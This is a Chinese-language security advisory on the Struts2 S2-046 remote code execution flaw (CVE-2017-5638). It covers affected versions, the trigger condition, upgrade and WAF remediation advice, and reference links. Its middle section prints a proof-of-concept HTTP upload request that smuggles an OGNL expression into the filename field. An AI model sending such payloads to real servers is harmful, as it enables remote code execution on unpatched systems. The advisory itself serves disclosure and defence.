概述 近日,安全研究人员发现著名J2EE框架--Struts2存在远程代码执行的漏洞,Struts2官方已经确认该漏洞(S2-046),CVE编号为:CVE-2017-5638,风险等级为高危漏洞。 漏洞详情漏洞编号:S2-046 CVE编号:CVE-2017-5638 漏洞类型:远程代码执行 漏洞级别:高危 漏洞风险:黑客通过利用漏洞可以实现远程命令执行。 影响版本:struts2.3.5- struts2.3.31 , struts2.5-struts2.5.10。 漏洞描述:使用Jakarta插件处理文件上传时可能导致远程代码执行漏洞 触发条件: 当攻击者通过Content-Length或者Content-Disposition构造恶意的OGNL内容时可能会造成远程代码执行。 POC代码POST /doUpload.action HTTP/1.1 Host: localhost:8080 Content-Length: 10000000 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryAnmUgTEhFhOZpr9z Connection: close ------WebKitFormBoundaryAnmUgTEhFhOZpr9z Content-Disposition: form-data; name="upload"; filename="%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Test','Kaboom')}" Content-Type: text/plain Kaboom ------WebKitFormBoundaryAnmUgTEhFhOZpr9z-- 修复建议使用Jakarta文件Multipart用户。 升级至安全版本 Struts 2.3.32 或者 Struts 2.5.10.1 更换同类型解析器,过滤Content-Disposition,Content-Type恶意代码 添加waf规则进行拦截恶意攻击 补丁地址参考文档https://cwiki.apache.org/confluence/display/WW/S2-046?from=timeline&isappinstalled=0 https://community.hpe.com/t5/Security-Research/Struts2-046-A-new-vector/ba-p/6949723# |